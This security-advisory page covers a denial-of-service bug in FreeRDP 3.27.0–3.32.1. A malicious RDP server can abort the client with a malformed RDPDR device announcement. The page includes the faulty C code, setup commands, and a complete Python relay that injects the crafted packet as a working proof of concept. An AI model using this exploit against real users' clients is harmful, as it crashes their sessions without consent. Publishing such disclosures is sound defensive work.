FreeRDP client can abort on a malformed RDPDR device announcement
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- High
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-66mr-7wc7-23vc. Fix status from GitHub. Impact type from CWE-617.
Summary
FreeRDP from 3.27.0 through 3.32.1 can abort in its client when a malicious RDP server sends a malformed RDPDR device-list announcement. The packet dumper seeks past the received data and hits a reachable assertion (CWE-617). A malicious server that the victim connects to can crash the client, but the demonstrated impact is availability only, and the crash requires device redirection and TRACE logging with WinPR assertions enabled.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary A malicious RDP server can terminate a FreeRDP client by sending a malformed RDPDR device-list announcement, but the demonstrated abort requires the client to have device redirection enabled, RDPDR TRACE logging active, and WinPR assertions enabled in its build. The packet advertises device data that is not present; the diagnostic packet dumper seeks past the received packet and reaches a fatal `Stream_Seek` assertion. The demonstrated impact is availability only: no data disclosure, modification, memory corruption, or code execution was observed. The trigger was reproduced end to end against FreeRDP 3.32.1-dev0, source commit `599262d19136633c7f3fe961e37cfd8dd4e1a753`. The same vulnerable operation is present in inspected stable releases 3.27.0 through 3.32.1; 3.26.0 predates the `Stream_Seek` call. No fixed release was verified. FreeRDP's security policy lists stable 3.x as supported and says it does not request CVEs for issues found only on the development branch; this behavior is also present in stable releases. ### Details ### Affected versions and prerequisites The server must be selected by the victim, and the client must reach an active RDPDR channel. In the demonstrated `xfreerdp` setup, `/drive:tmp,/tmp` enabled device redirection. The RDPDR logger must be set to TRACE (for example, `/log-level:TRACE`); INFO logging skips this dump. The client build must have active WinPR assertions, as in the tested build. With assertions disabled, the same injected malformed packet did not abort during the eight-second observation window. The sample setup below disables authentication on an isolated local shadow server to simplify reproduction. It does not demonstrate an authentication bypass. In normal use, the victim must connect to the malicious server. The packet is sent after activation, and the server-side RDPDR state check does not prevent the crash because the TRACE packet dump runs first. ### Technical details `rdpdr_dump_packet` parses a peer-controlled `DeviceDataLength` from a device-list announcement and passes it directly to `Stream_Seek`, without checking that the bytes remain in the received stream: ```c /* libfreerdp/utils/rdpdr_utils.c, rdpdr_dump_packet, FreeRDP 3.32.1 */ Stream_Read_UINT32(s, device.DeviceDataLength); device.DeviceData = Stream_Pointer(s); Stream_Seek(s, device.DeviceDataLength); ``` The server-to-client RDPDR receive path calls the packet dumper before checking whether that announcement is valid in the current channel state (`channels/rdpdr/client/rdpdr_main.c`, `rdpdr_process_receive`). The assertion is therefore reachable from a peer-controlled packet when TRACE is active. `Stream_Seek` asserts that the requested offset fits the stream's remaining capacity; with active WinPR assertions, failure logs a fatal assertion and aborts the process. The live relay injected a 28-byte `PAKID_CORE_DEVICELIST_ANNOUNCE` on channel 1004 with one device and `DeviceDataLength=65536`. The TRACE client aborted at `Stream_Seek:159` with exit status 134. With INFO logging the same packet reached the ordinary state check and the client remained active until the test timeout. With TRACE and `DeviceDataLength=0`, it also remained active. A TRACE run using `DeviceDataLength=8` aborted too: the live channel stream capacity was exactly 28 bytes, so eight declared bytes already exceeded the bytes remaining after the device header. A no-assert client receiving the 65536-byte declaration remained active until timeout. These controls show the importance of logging level, positive out-of-packet length, and active assertions; the 8-byte case is not a clean control. Source history identifies the added seek in commit `bb390f09927f3c15cd03151358337ccdfcfe1dcc` (`[utils,rdpdr] fix packet dump`, May 19, 2026). The earliest inspected stable tag containing it is 3.27.0. Tags 3.27.0 through 3.32.1 contain the operation, including the tested snapshot's corresponding 3.32.1 release. Tag 3.26.0 does not contain it. No fixing change or patched release was found in the inspected history. ### Proof of concept Use an isolated FreeRDP 3.27.0–3.32.1 build with `WITH_VERBOSE_WINPR_ASSERT=ON`, Python 3, and a local graphical session suitable for `freerdp-shadow-cli`. The relay listens only on loopback and forwards the genuine RDP handshake to the local shadow server. Run the server, relay, and client in separate terminals. Save the script below as `rdpdr715_wire_relay.py` in the current directory. Start a disposable local server with authentication disabled for this reproduction: ```sh freerdp-shadow-cli /bind-address:127.0.0.1 /port:38338 -auth /log-level:INFO ``` Start the relay: ```sh python3 rdpdr715_wire_relay.py ``` Connect the client with drive redirection and TRACE logging: ```sh xfreerdp /v:127.0.0.1:38339 /sec:rdp /cert:ignore /u:test /p:test /drive:tmp,/tmp /log-level:TRACE ``` The retained live run against 3.32.1-dev0 recorded the relay's 28-byte RDPDR injection, a fatal `Stream_Seek` assertion, and client exit status 134. An INFO run with the same packet, a TRACE run with zero declared device-data bytes, and a no-assert TRACE run with the malformed packet each stayed active until an eight-second timeout (status 124). These are observations from local tests; no public server was contacted. ```python #!/usr/bin/env python3 """Loopback relay that injects one malformed RDPDR announce after activation.""" import socket import struct import threading import time def packet(device_data_length, channel): rdpdr = (b"\x72\x44\x41\x44" + struct.pack("<I", 1) + struct.pack("<II", 1, 2) + b"PRN\0\0\0\0\0" + struct.pack("<I", device_data_length)) channel_pdu = struct.pack("<II", len(rdpdr), 3) + rdpdr mcs = (b"\x68" + struct.pack("!HHB", 8, channel, 0x70) + struct.pack("!H", 0x8000 | len(channel_pdu)) + channel_pdu) tpdu = b"\x02\xf0\x80" + mcs return b"\x03\x00" + struct.pack("!H", len(tpdu) + 4) + tpdu LISTEN = 38339 UPSTREAM = 38338 CHANNEL = 1004 PAYLOAD = packet(0x10000, CHANNEL) listener = socket.socket() listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind(("127.0.0.1", LISTEN)) listener.listen(1) print("LISTEN", LISTEN, "INJECT_PACKET", PAYLOAD.hex(), flush=True) client, address = listener.accept() server = socket.create_connection(("127.0.0.1", UPSTREAM)) print("ACCEPT", address, flush=True) def client_to_server(): while data := client.recv(65536): server.sendall(data) try: server.shutdown(socket.SHUT_WR) except OSError: pass def server_to_client(): buffered = b"" injected = False while data := server.recv(65536): buffered += data while len(buffered) >= 2: if buffered[0] == 3: if len(buffered) < 4: break length = int.from_bytes(buffered[2:4], "big") elif buffered[1] & 0x80: if len(buffered) < 3: break length = ((buffered[1] & 0x7f) << 8) | buffered[2] else: length = buffered[1] if length < 2 or len(buffered) < length: break frame, buffered = buffered[:length], buffered[length:] client.sendall(frame) print("SERVER_FRAME", length, frame[:16].hex(), flush=True) active_frame = ((frame[0] != 3 and length > 500) or (frame[0] == 3 and length > 500 and frame[10:12] == b"\x03\xef")) if not injected and active_frame: time.sleep(0.15) client.sendall(PAYLOAD) injected = True print("INJECTED_RDPDR_715", len(PAYLOAD), flush=True) print("S2C_DONE", injected, flush=True) up_thread = threading.Thread(target=client_to_server) down_thread = threading.Thread(target=server_to_client) up_thread.start() down_thread.start() up_thread.join() down_thread.join() ``` ### Impact ### Impact The demonstrated result is a remote denial of service of the FreeRDP client process, but only when the victim connects to a server while RDPDR is enabled, the RDPDR logger is at TRACE, and active WinPR assertions are present. The test establishes process termination, not disruption to other processes or sessions. It demonstrates no confidentiality or integrity loss, memory corruption, or code execution. ### Suggested remediation Before seeking over the announced device data, compare `DeviceDataLength` with the stream's remaining bytes and return a parse error on truncation. Use a safe seek operation and ensure the decoder rejects malformed input independently of diagnostic logging. Add regression coverage for truncated announcements with zero, small positive, and oversized data lengths, at both INFO and TRACE levels, in assertion-enabled and release-style builds.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c/c++) | >= 3.27.0, <= 3.32.1 | 3.32.2 | Patch available | GHSA-66mr-7wc7-23vc |
- FreeRDP (c/c++) Vendor— Affected >= 3.27.0, <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-66mr-7wc7-23vc
Remediation
Upgrade FreeRDP to version 3.32.2, which lists the fix for FreeRDP.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-66mr-7wc7-23vc FreeRDP (c/c++) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-66mr-7wc7-23vc
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences